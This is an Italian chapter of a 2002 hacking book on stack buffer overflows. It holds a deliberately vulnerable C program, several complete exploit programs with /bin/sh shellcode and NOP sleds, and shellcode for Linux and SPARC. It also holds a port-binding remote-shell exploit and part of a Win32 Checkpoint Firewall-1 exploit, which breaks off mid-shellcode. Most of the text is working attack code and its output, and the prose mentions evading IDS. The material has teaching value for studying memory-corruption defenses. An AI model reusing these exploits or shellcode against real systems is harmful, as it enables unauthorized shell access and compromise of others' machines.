vulnerable.c
---------- snip ----------
void main(int argc, char *argv[]) {
  char buffer[512];

  if (argc > 1)
    strcpy(buffer,argv[1]); /* guarda dove scrivi, cazzone! :) */
}
---------- snip ----------

exploit2.c
---------- snip ----------
#include <stdlib.h>

#define DEFAULT_OFFSET                              0
#define DEFAULT_BUFFER_SIZE                       512

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
  char *buff, *ptr;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;

  if (argc > 1) bsize = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);

  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

      exit(0);
  }

  addr = get_sp() - offset;          /* l'indirizzo a cui si SUPPONE che il nostro
                                            codice si trovera' */

  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;          /* riempie il nostro buffer con quell'indirizzo
*/
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  ptr += 4;
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i]; /* copia lo shellcode nel nostro buffer */

  buff[bsize - 1] = '\0';           /* per bloccare la copia da parte di strcpy */

     memcpy(buff,"EGG=",4); /* mette il tutto in una variabile d'ambiente $EGG
*/
     putenv(buff);                  /* che useremo poi come argomento al programma
*/
  system("/bin/bash"); /* vulnerabile                                                        */
}
---------- snip ----------

Il programma accetta come argomento l’offset a cui pensiamo si possa trovare il buffer.
Mediante diversi tentivi vediamo di trovare dove si trova.

$ ./exploit2 500
Using address: 0xbffffdb4
$ ./vulnerable $EGG
Segmentation Fault
$ ./exploit2 600
Using address: 0xbffffdb4
$ ./vulnerable $EGG
Illegal instruction
........................
$ ./exploit2 600 1564
Using address: 0xbffff794
$ ./vulnerable $EGG
#

Questo non e' un processo molto efficiente....sculando un po' si potrebbe azzeccare l'offset
con 200 tentativi, ma nella maggior parte dei casi ce ne vorranno un migliaio.
Possiamo però cercare di limitare i tentivi utilizzando l’istruzione assembler NOP.
Come abbiamo già visto nei capitoli legati all’assembler questa istruzione è considerata come
istruzione NULLA ovvero quando il processore la incontra passa a quella successiva sennza
fare nulla.
Ora se noi riempiamo il nostro buffer di questi NOP significa che se l’indirizzo di ritorno cadrà
su una di queste istruzioni questa non verrà eseguita e il tutto passerà avanti.

               buffer                  fp   ret  a     b     c
              [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]
                      ^---->                |
                      |_____________________|

Ecco un nuovo exploit che utilizza questa tecnica:

exploit3.c
---------- snip ----------
#include <stdlib.h>


Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book


#define DEFAULT_OFFSET                                0
#define DEFAULT_BUFFER_SIZE                         512
#define NOP                                        0x90

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}
oid main(int argc, char *argv[]) {
  char *buff, *ptr;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;

  if (argc > 1) bsize = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);

  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_sp() - offset;
  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  for (i = 0; i < bsize/2; i++)            /* riempie meta' del nostro buffer
con NOP */
    buff[i] = NOP;

  ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];     /* e l'altra meta' con lo
shellcode... */

  buff[bsize - 1] = '\0';

  memcpy(buff,"EGG=",4);
  putenv(buff);
  system("/bin/bash");
}
---------- snip ----------

$ ./exploit3 612
Using address: 0xbffffdb4
$ ./vulnerable $EGG
#

Come avrete potuto vedere in questo caso si è azzeccato il tutto al primo tentativo.
In ogni caso i problemi non sono del tutto terminati.
Potremmo trovarci davanti al problema di avere a disposizione uno spazio troppo piccolo per
inserirci una quantità di codice eccessiva.



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

Anche in questo caso, una soluzione c'e', ma bisogna avere accesso alle variabili d'ambiente
del programma.
Metteremo lo shellcode in una di queste variabili, e riempiremo il piccolo buffer con l'indirizzo
(presunto) di questa variabile in memoria.
Questa tecnica e' molto efficiente, poiche' possiamo usare anche variabili molto grandi (leggi:
un grosso numero di NOP), che aumentano esponenzialmnte le nostre possibilita'.
Le variabili d'ambiente sono poste in cima allo stack quando il programma e' lanciato (vedi
diagramma all'inizio).
Il nostro programma di exploit richiedera' quindi un'altra variabile, la grandezza del buffer che
contiene shellcode e NOP).

exploit4.c
---------- snip ----------
#include <stdlib.h>

#define    DEFAULT_OFFSET                                0
#define    DEFAULT_BUFFER_SIZE                         512
#define    DEFAULT_EGG_SIZE                           2048
#define    NOP                                        0x90

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_esp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr, *egg;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i, eggsize=DEFAULT_EGG_SIZE;

  if (argc > 1) bsize   = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);
  if (argc > 3) eggsize = atoi(argv[3]);


  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }
  if (!(egg = malloc(eggsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_esp() - offset;
  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  ptr = egg;
  for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
    *(ptr++) = NOP;




Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

   for (i = 0; i < strlen(shellcode); i++)
     *(ptr++) = shellcode[i];

   buff[bsize - 1] = '\0';
   egg[eggsize - 1] = '\0';

    memcpy(egg,"EGG=",4);   /* variabile d'ambiente con i NOP e lo
shellcode */
   putenv(egg);
   memcpy(buff,"RET=",4); /* variabile d'ambiente che contiene il RET
*/
   putenv(buff);
   system("/bin/bash");
}
---------- snip ----------

$ ./exploit4 768
Using address: 0xbffffdb0
$ ./vulnerable $RET
#

Gli offset possono essere positivi o negativi.. dipende da quanti "dati d'ambiente" il nostro
programma ha rispetto a quello vulnerabile.
Prendete i sorgenti. Essedo Linux free, troverete i sorgenti di qualsiasi cosa, basta cercare un
po'.
E una volta trovati i sorgenti, cercate chiamate alle funzioni strcat(), strcpy(), sprintf(), and
vsprintf(), che basandosi su stringhe terminate da ZERO, non controllano che il buffer che le
riceve sia abbastanza grande da contenerle.
Controllate se il programma fa qualche tipo di "sanity check" prima di copiare, e controllate se
l'argomento che viene copiato puo' in qualche modo essere inserito dall'utente, attraverso la
linea di comando ad esempio, o attraverso una variabile d'ambiente (vedi exploit per
DOSEMU).



I tre punti fondamentali di un buffer overflow

Indipendentemente da tutto il resto possiamo aprire una nota per specificare quelli che sono i
tre punti chiave di un buffer overflow.
Generalmente abbiamo visto che esistono due punti chiave e precisamente il codice da
eseguire e l’indirizzo di ritorno.
La sovrapposizione dell’indirizzo di ritorno abbiamo detto che serve a fare in modo che
quando questo viene ripristinato il tutto salta a livello di esecuzione al codice asembler da noi
scritto.
La difficoltà che abbiamo visto estere è di fatto quella di indovinare il punto preciso di dove il
salto deve essere esguito in quanto se questo non fosse perfetto il sistema si bloccherebbe o
perlomeno creerebbe dei problemi di esecuzione.
L’istruzione NOP non viene eseguita per cui l’inserimento di un numero sufficientemente
grande di questi NOP permetterebbe al programma di eseguire un atterraggio morbido nel
caso in cui l’indiirizzo non sia preciso.
Per cui i punti chiave sono :

Numero di NOP
Codice assembler
Indirizzo di ritorno

Alla fine di questi capitoli vedremo come questi tre insiemi di dati possono essere manipolati
per passare sotto i sistemi IDS.




Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book


Shell code per diversi sistemi operativi
i386/Linux
------------------------------------------------------------------------------
        jmp    0x1f
        popl   %esi
        movl   %esi,0x8(%esi)
        xorl   %eax,%eax
       movb   %eax,0x7(%esi)
        movl   %eax,0xc(%esi)
        movb   $0xb,%al
        movl   %esi,%ebx
        leal   0x8(%esi),%ecx
        leal   0xc(%esi),%edx
        int    $0x80
        xorl   %ebx,%ebx
        movl   %ebx,%eax
        inc    %eax
        int    $0x80
        call   -0x24
        .string \"/bin/sh\"
------------------------------------------------------------------------------

SPARC/Solaris
------------------------------------------------------------------------------
        sethi   0xbd89a, %l6
        or      %l6, 0x16e, %l6
        sethi   0xbdcda, %l7
        and     %sp, %sp, %o0
        add     %sp, 8, %o1
        xor     %o2, %o2, %o2
        add     %sp, 16, %sp
        std     %l6, [%sp - 16]
        st      %sp, [%sp - 8]
        st      %g0, [%sp - 4]
        mov     0x3b, %g1
        ta      8
        xor     %o7, %o7, %o0
        mov     1, %g1
        ta      8
------------------------------------------------------------------------------

SPARC/SunOS
------------------------------------------------------------------------------
        sethi   0xbd89a, %l6
        or      %l6, 0x16e, %l6
        sethi   0xbdcda, %l7
        and     %sp, %sp, %o0
        add     %sp, 8, %o1
        xor     %o2, %o2, %o2
        add     %sp, 16, %sp
        std     %l6, [%sp - 16]
        st      %sp, [%sp - 8]
        st      %g0, [%sp - 4]
        mov     0x3b, %g1
       mov     -0x1, %l5
        ta      %l5 + 1
        xor     %o7, %o7, %o0
        mov     1, %g1
        ta      %l5 + 1
------------------------------------------------------------------------------

shellcode.h
------------------------------------------------------------------------------
#if defined(__i386__) && defined(__linux__)

#define NOP_SIZE      1
char nop[] = "\x90";
char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

}

#elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)

#define NOP_SIZE      4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
  "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
  "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
  "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
  "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";

unsigned long get_sp(void) {
  __asm__("or %sp, %sp, %i0");
}

#elif defined(__sparc__) && defined(__sun__)

#define NOP_SIZE        4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
  "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
  "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
  "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff"
  "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";

unsigned long get_sp(void) {
  __asm__("or %sp, %sp, %i0");
}

#endif
------------------------------------------------------------------------------

eggshell.c
------------------------------------------------------------------------------
/*
 * eggshell v1.0
 *
 * Aleph One / aleph1@underground.org
 */
#include <stdlib.h>
#include <stdio.h>
#include "shellcode.h"

#define DEFAULT_OFFSET                     0
#define DEFAULT_BUFFER_SIZE              512
#define DEFAULT_EGG_SIZE                2048

void usage(void);

void main(int argc, char *argv[]) {
  char *ptr, *bof, *egg;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;

    while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF)
      switch (c) {
        case 'a':
          align = atoi(optarg);
          break;
        case 'b':
          bsize = atoi(optarg);
          break;
        case 'e':
          eggsize = atoi(optarg);
          break;
        case 'o':
          offset = atoi(optarg);
          break;
        case '?':
          usage();
          exit(0);
      }

    if (strlen(shellcode) > eggsize) {
      printf("Shellcode is larger the the egg.\n");



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

        exit(0);
    }

    if (!(bof = malloc(bsize))) {
      printf("Can't allocate memory.\n");
      exit(0);
    }
    if (!(egg = malloc(eggsize))) {
      printf("Can't allocate memory.\n");
      exit(0);
    }

    addr = get_sp() - offset;
    printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n",
      bsize, eggsize, align);
    printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset);

    addr_ptr = (long *) bof;
    for (i = 0; i < bsize; i+=4)
      *(addr_ptr++) = addr;

    ptr = egg;
    for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE)
      for (n = 0; n < NOP_SIZE; n++) {
        m = (n + align) % NOP_SIZE;
        *(ptr++) = nop[m];
      }

    for (i = 0; i < strlen(shellcode); i++)
      *(ptr++) = shellcode[i];

    bof[bsize - 1] = '\0';
    egg[eggsize - 1] = '\0';

    memcpy(egg,"EGG=",4);
    putenv(egg);

    memcpy(bof,"BOF=",4);
    putenv(bof);
    system("/bin/sh");
}

void usage(void) {
  (void)fprintf(stderr,
        "usage: eggshell       [-a   <alignment>]   [-b   <buffersize>]   [-e   <eggsize>]   [-o
<offset>]\n");
}



Esempio di exploits con shellcode.
La seguente shellcode crea un socket di ascolto sulla porta 36864 e avvia
una shell, redirigendo standard input, output ed error sul socket stesso. Una
volta corrotto il buffer e sovrascritto l'indirizzo di ritorno, con un semplice
programma che si connette al socket si ottiene una shell remota sulla
macchina vittima.
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90
char shellcode[] =
"\xeb\x72"                                      /* jmp callz */
       /* socket() */
"\x5e"                                                    /* popl %esi */
"\x29\xc0"                                                /* subl %eax, %eax */
"\x89\x46\x10"                                                   /* movl %eax, 0x10(%esi) */
"\x40"                                                    /* incl %eax */
"\x89\xc3"                                                /* movl %eax, %ebx */
"\x89\x46\x0c"                                                   /* movl %eax, 0x0c(%esi) */
"\x40"                                                    /* incl %eax */
"\x89\x46\x08"                                            /* movl %eax, 0x08(%esi) */
"\x8d\x4e\x08"                                                   /* leal 0x08(%esi), %ecx */




Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

"\xb0\x66"                                                      /* movb $0x66, %al */
"\xcd\x80"                                                      /* int $0x80 */
       /* bind()*/
"\x43"                                             /*    incl    %ebx */
"\xc6\x46\x10\x10"                                 /*    movb    $0x10, 0x10(%esi) */
"\x66\x89\x5e\x14"                                 /*    movw    %bx, 0x14(%esi) */
"\x88\x46\x08"                                     /*    movb    %al, 0x08(%esi) */
"\x29\xc0"                                         /*    subl    %eax, %eax */
"\x89\xc2"                                         /*    movl    %eax, %edx */
"\x89\x46\x18"                                                  /* movl %eax, 0x18(%esi) */

"\xb0\x90"                                         /* movb $0x90, %al */
"\x66\x89\x46\x16"                                 /* movw %ax, 0x16(%esi) */
"\x8d\x4e\x14"                                            /* leal 0x14(%esi), %ecx */
"\x89\x4e\x0c"                                            /* movl %ecx, 0x0c(%esi) */
"\x8d\x4e\x08"                                            /* leal 0x08(%esi), %ecx */
"\xb0\x66"                                         /* movb $0x66, %al */
"\xcd\x80"                                         /* int $0x80 */
       /* listen() */
"\x89\x5e\x0c"                                               /* movl %ebx, 0x0c(%esi) */
"\x43"                                             /*    incl %ebx */
"\x43"                                             /*    incl %ebx */
"\xb0\x66"                                         /*    movb $0x66, %al */
"\xcd\x80"                                         /*    int $0x80 */
       /* accept() */
"\x89\x56\x0c"                                            /* movl %edx, 0x0c(%esi) */
"\x89\x56\x10"                                            /* movl %edx, 0x10(%esi) */
"\xb0\x66"                                         /* movb $0x66, %al */
"\x43"                                             /* incl %ebx */
"\xcd\x80"                                         /* int $0x80 */
       /* dup2(s, 0); dup2(s, 1); dup2(s, 2); */
"\x86\xc3"                                         /* xchgb %al, %bl */
"\xb0\x3f"                                                /* movb $0x3f, %al */
"\x29\xc9"                                         /* subl %ecx, %ecx */
"\xcd\x80"                                         /* int $0x80 */
"\xb0\x3f"                                                /* movb $0x3f, %al */
"\x41"                                             /* incl %ecx */
"\xcd\x80"                                         /* int $0x80 */
"\xb0\x3f"                                                /* movb $0x3f, %al */
"\x41"                                             /* incl %ecx */
"\xcd\x80"                                         /* int $0x80 */
       /* execve() */
"\x88\x56\x07"                                            /* movb %dl, 0x07(%esi) */
"\x89\x76\x0c"                                            /* movl %esi, 0x0c(%esi) */
"\x87\xf3"                                                /* xchgl %esi, %ebx */
"\x8d\x4b\x0c"                                            /* leal 0x0c(%ebx), %ecx */
"\xb0\x0b"                                         /* movb $0x0b, %al */
"\xcd\x80"                                         /* int $0x80 */
       /* callz: */
"\xe8\x89\xff\xff\xff"                                          /* call start */
"/bin/sh";

unsigned long get_sp(void) {
  __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
 char *buff, *ptr;
 long *addr_ptr, addr;
 int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
 int i;
 if (argc > 1) bsize =atoi(argv[1]);
 if (argc > 2) offset =atoi(argv[2]);
 if (!(buff =malloc(bsize))) {
   printf("Can't allocate memory.\n");
   exit(0);
 }
 addr =get_sp() - offset;
 ptr =buff;
 addr_ptr =(long *) ptr;
 for (i =0; i < bsize; i+=4)
 *(addr_ptr++) =addr;
 for (i =0; i < bsize/2; i++)
    buff[i] =NOP;
 ptr =buff + ((bsize/2) - (strlen(shellcode)/2));
 for (i =0; i < strlen(shellcode); i++)
 *(ptr++) =shellcode[i];



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

  buff[bsize - 1] ='\0';
 memcpy(buff,"EGG=",4);
 putenv(buff);
 system("/bin/bash");
}

Lo stack inizia per ogni programma allo stesso indirizzo. La maggior parte dei programmi non
impilano più di qualche centinaio o migliaio di byte sullo stack.
Quindi, sapendo dove inizia lo stack si può provare ad indovinare dove si trovi il buffer. Il
programma prende come parametri una dimensione di buffer e un offset dallo stack pointer e
prova ad indovinare esattamente dove sia l'indirizzo d'inizio del codice.
Un modo per aumentare le nostre probabilità di riuscita consiste nel riempire l'inizio del buffer
con istruzioni NOP, cioè, l'operazione nulla.
Si riempie per metà il buffer, si mette il codice della shell al centro e poi l'indirizzo di ritorno.
Se l'indirizzo di ritorno punta in mezzo alle operazioni NOP, queste vengono eseguite e poi
viene eseguito il codice.
Assumendo che S stia per il codice della shell, N per l'istruzione NOP, lo stack si presenta
come segue:




Una buona scelta per la dimensione del buffer è 100 byte più del buffer vittima.
Questa scelta posiziona il codice alla fine del buffer, lasciando ampio spazio per le operazioni
NOP, ma permette ancora di sovrascrivere l'indirizzo di ritorno con quello indovinato.
La stringa per creare l'overflow viene inserita nella variabile di ambiente EGG.
Qui a seguito potete vedere un esempio di exploit che utilizza questo metodo dei NOP.

/*      badboy.c - Win32 Checkpoint Firewall-1 overflow exploit by Indigo
<indigo@exploitingstuff.com> 2001
        Usage: badboy <victim port>
        The shellcode spawns a shell on the chosen port
        Main shellcode adapted from code written by izan@deepzone.org
        Greets to:
        Morphsta, Br00t, Macavity, Jacob & Monkfish...Not forgetting D-
Niderlunds
*/


#include <windows.h>
#include <stdio.h>

int main(int argc, char **argv)
{

unsigned char shellcode[] =

                            "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
           "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
           "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
           "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
           "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
           "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

         "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
         "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
         "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
         "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
         "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
         "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
         "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
         "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
         "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
         "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
         "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
         "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
         "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
         "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
         "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
         "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
         "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
         "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
         "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
         "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
         "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
         "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
         "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
         "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
         "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
         "\x90\x90\x90\x90\x90\xCC\x2B\x16\xEA\x77\x90\x90\xEB\x05\x4A\xD5"
         "\xEC\x77\x90\x90\x90\x90\x90\x66\x81\xE9\x5B\x29\x31\xDB\xB8\x99"
         "\x99\x99\x99\x31\x01\x83\xC1\x04\x83\xC3\x04\x66\x81\xFB\xC0\x04"
         "\x7E\xF1\x66\x81\xE9\x4E\x01\x31\xC0\x40\x29\x01\x90\x90\x90\x71"
         "\x99\x99\x99\x99\xC4\x18\x74\x40\xB8\xD9\x99\x14\x2C\x6B\xBD\xD9"
         "\x99\x14\x24\x63\xBD\xD9\x99\xF3\x9E\x09\x09\x09\x09\xC0\x71\x4B"
         "\x9B\x99\x99\x14\x2C\xB3\xBC\xD9\x99\x14\x24\xAA\xBC\xD9\x99\xF3"
         "\x93\x09\x09\x09\x09\xC0\x71\x23\x9B\x99\x99\xF3\x99\x14\x2C\x40"
         "\xBC\xD9\x99\xCF\x14\x2C\x7C\xBC\xD9\x99\xCF\x14\x2C\x70\xBC\xD9"
         "\x99\xCF\x66\x0C\xAA\xBC\xD9\x99\xF3\x99\x14\x2C\x40\xBC\xD9\x99"
         "\xCF\x14\x2C\x74\xBC\xD9\x99\xCF\x14\x2C\x68\xBC\xD9\x99\xCF\x66"
         "\x0C\xAA\xBC\xD9\x99\x5E\x1C\x6C\xBC\xD9\x99\xDD\x99\x99\x99\x14"
         "\x2C\x6C\xBC\xD9\x99\xCF\x66\x0C\xAE\xBC\xD9\x99\x14\x2C\xB4\xBF"
         "\xD9\x99\x34\xC9\x66\x0C\xCA\xBC\xD9\x99\x14\x2C\xA8\xBF\xD9\x99"
         "\x34\xC9\x66\x0C\xCA\xBC\xD9\x99\x14\x2C\x68\xBC\xD9\x99\x14\x24"
         "\xB4\xBF\xD9\x99\x3C\x14\x2C\x7C\xBC\xD9\x99\x34\x14\x24\xA8\xBF"
         "\xD9\x99\x32\x14\x24\xAC\xBF\xD9\x99\x32\x5E\x1C\xBC\xBF\xD9\x99"
         “\x99\x99\x99\x99\x5E\x1C\xB8\xBF\xD9\x99\x98\x98\x99\x99\x14\x2C"
         "\xA0\xBF\xD9\x99\xCF\x14\x2C\x6C\xBC\xD9\x99\xCF\xF3\x99\xF3\x99"
         "\xF3\x89\xF3\x98\xF3\x99\xF3\x99\x14\x2C\xD0\xBF\xD9\x99\xCF\xF3"
         "\x99\x66\x0C\xA2\xBC\xD9\x99\xF1\x99\xB9\x99\x99\x09\xF1\x99\x9B"
         "\x99\x99\x66\x0C\xDA\xBC\xD9\x99\x10\x1C\xC8\xBF\xD9\x99\xAA\x59"
         "\xC9\xD9\xC9\xD9\xC9\x66\x0C\x63\xBD\xD9\x99\xC9\xC2\xF3\x89\x14"
         "\x2C\x50\xBC\xD9\x99\xCF\xCA\x66\x0C\x67\xBD\xD9\x99\xF3\x9A\xCA"
         "\x66\x0C\x9B\xBC\xD9\x99\x14\x2C\xCC\xBF\xD9\x99\xCF\x14\x2C\x50"
         "\xBC\xD9\x99\xCF\xCA\x66\x0C\x9F\xBC\xD9\x99\x14\x24\xC0\xBF\xD9"
         "\x99\x32\xAA\x59\xC9\x14\x24\xFC\xBF\xD9\x99\xCE\xC9\xC9\xC9\x14"
         "\x2C\x70\xBC\xD9\x99\x34\xC9\x66\x0C\xA6\xBC\xD9\x99\xF3\xA9\x66"
         "\x0C\xD6\xBC\xD9\x99\x72\xD4\x09\x09\x09\xAA\x59\xC9\x14\x24\xFC"
         "\xBF\xD9\x99\xCE\xC9\xC9\xC9\x14\x2C\x70\xBC\xD9\x99\x34\xC9\x66"
         "\x0C\xA6\xBC\xD9\x99\xF3\xA9\x66\x0C\xD6\xBC\xD9\x99\x1A\x24\xFC"
         "\xBF\xD9\x99\x9B\x96\x1B\x8E\x98\x99\x99\x18\x24\xFC\xBF\xD9\x99"
         "\x98\xB9\x99\x99\xEB\x97\x09\x09\x09\x09\x5E\x1C\xFC\xBF\xD9\x99"
         "\x99\xB9\x99\x99\xF3\x99\x12\x1C\xFC\xBF\xD9\x99\x14\x24\xFC\xBF"
         "\xD9\x99\xCE\xC9\x12\x1C\xC8\xBF\xD9\x99\xC9\x14\x2C\x70\xBC\xD9"
         "\x99\x34\xC9\x66\x0C\xDE\xBC\xD9\x99\xF3\xA9\x66\x0C\xD6\xBC\xD9"
         "\x99\x12\x1C\xFC\xBF\xD9\x99\xF3\x99\xC9\x14\x2C\xC8\xBF\xD9\x99"
         "\x34\xC9\x14\x2C\xC0\xBF\xD9\x99\x34\xC9\x66\x0C\x93\xBC\xD9\x99"
         "\xF3\x99\x14\x24\xFC\xBF\xD9\x99\xCE\xF3\x99\xF3\x99\xF3\x99\x14"
         "\x2C\x70\xBC\xD9\x99\x34\xC9\x66\x0C\xA6\xBC\xD9\x99\xF3\xA9\x66"
         "\x0C\xD6\xBC\xD9\x99\xAA\x50\xA0\x14\xFC\xBF\xD9\x99\x96\x1E\xFE"
         "\x66\x66\x66\xF3\x99\xF1\x99\xB9\x99\x99\x09\x14\x2C\xC8\xBF\xD9"
         "\x99\x34\xC9\x14\x2C\xC0\xBF\xD9\x99\x34\xC9\x66\x0C\x97\xBC\xD9"



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

